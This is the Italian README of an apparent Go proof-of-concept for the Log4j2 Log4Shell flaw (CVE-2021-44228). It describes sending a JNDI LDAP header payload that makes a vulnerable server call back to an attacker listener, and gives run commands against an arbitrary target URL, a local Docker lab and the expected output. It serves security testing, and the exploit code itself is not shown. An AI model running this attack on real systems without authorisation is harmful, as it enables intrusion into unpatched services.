sorrence/cve-2021-44228Un semplice PoC Log4j scritto in Go
⚠️ Disclaimer:
Questo strumento è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza e ambienti di test controllati.
Usarlo contro sistemi senza autorizzazione esplicita è illegale ed è di esclusiva responsabilità dell'utente.
Questo progetto contiene un semplice exploit Proof-of-Concept (PoC) per la vulnerabilità Apache Log4j2 (CVE-2021-44228).
Il PoC invia un'intestazione HTTP appositamente predisposta con un payload JNDI LDAP al target.
Se il target è vulnerabile, invierà una callback all'indirizzo LHOST specificato.
go build -o exploit exploit.go
sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>
-r → URL del target (endpoint dell'applicazione vulnerabile)-l → Indirizzo IP del tuo listener di callback (la macchina che esegue il PoC)Utilizzando l'app vulnerabile Docker fornita:
# Run vulnerable app
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app
# Run exploit
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1
Output atteso:
[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE